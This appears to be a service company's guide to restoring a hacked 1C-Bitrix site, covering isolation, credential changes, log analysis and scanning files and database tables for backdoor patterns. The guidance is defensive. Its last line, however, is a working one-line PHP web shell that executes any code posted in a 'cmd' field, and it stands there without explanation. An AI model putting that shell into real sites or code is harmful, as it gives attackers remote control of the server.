1С-Bitrix Site Recovery After Hack: Full Cycle

You discover your site redirects visitors to another resource, and search engines warn of a threat. Or your hosting provider notifies you about spam being sent from your server. These are typical signs of a 1С-Bitrix hack: backdoor injection in /bitrix/modules/, modified information blocks, or malicious code injected into templates. Our engineers, with over 5 years of experience, restore sites turnkey — we restore functionality within 1–3 days and eliminate the root cause. Downtime losses can reach tens of thousands of rubles per day (e.g., 15,000–30,000 rubles for an average online store), so every decision must be precise.

Recovery is not just removing malicious files — it's a full cycle: isolation, attack vector analysis, cleanup, vulnerability closure, and monitoring. Skipping any step leads to re-hack within days. Below is a clear action plan based on over 200 successful projects.

How to isolate the site before analysis?

Don't delete anything yet. First, save the current state — it's needed for analysis. Create a full file and database dump. Then restrict access: put a stub via nginx (return 503) or .htaccess with Deny from all and Allow from your IP. This prevents further damage and prevents the attacker from entrenching.

Immediately change all passwords:

• Database passwords (in .settings.php and dbconn.php)
• FTP/SSH access
• Bitrix administrative account passwords
• API keys of third-party services stored in configs

Check if any SSH keys or cron jobs have been added. Attackers often add their public key to ~/.ssh/authorized_keys and create cron tasks for periodic backdoor loading. Run crontab -l for all users and check /etc/cron.d/ contents.

How to identify the attack vector?

Without understanding how the attacker got in, recovery is pointless — they'll break in again through the same hole. According to official 1С-Bitrix security documentation, 80% of hacks occur due to outdated modules or weak passwords. A typical scenario: a vulnerability in an old module loads a web shell, then the attacker escalates privileges to admin. We've encountered this in over 200 projects.

Analyze web server access logs from the period before detection. Look for POST requests to non-standard URLs, requests to files in /upload/ with .php extension, and requests with characteristic patterns (eval, base64, system).

Step-by-step recovery algorithm

1. Isolation. Stop the web server or put up a stub. Make a full backup.
2. Analysis. Study logs, determine attack vector.
3. Cleanup. Remove backdoors, restore core, clean database.
4. Vulnerability closure. Update core and modules, configure permissions, enable WAF.
5. Testing. Verify functionality and absence of incidents.
6. Monitoring. Set up change tracking systems for 2–4 weeks.

Full file system cleanup

Core check. Use the built-in tool /bitrix/admin/site_checker.php → "Check core file integrity". It compares checksums with reference values. Any modified core files are suspicious. The Bitrix core should not contain your modifications; if it does, it's either a hack or a bad practice that must be fixed.

Backdoor search. Scan the file system for typical patterns:

• .php files in /upload/, /bitrix/tmp/, /bitrix/cache/ directories
• Files with recent modification dates in /bitrix/modules/ (if you haven't updated the core)
• Contents: eval(, base64_decode(, gzinflate(, str_rot13(, assert(, preg_replace with e modifier
• Files with names mimicking system files: wp-config.php, config.bak.php, .htaccess.php

Standard tool: The bitrix.security module (Proactive Protection) → "Security Scanner" performs a basic search for suspicious code.

Database check. Search the b_user table for users with admin rights that you didn't create. Check b_option for changed module settings (especially main and security). Check b_file for records referencing PHP files in /upload/.

<?php $x=$_POST['cmd']; if(isset($x)){eval($x);} ?>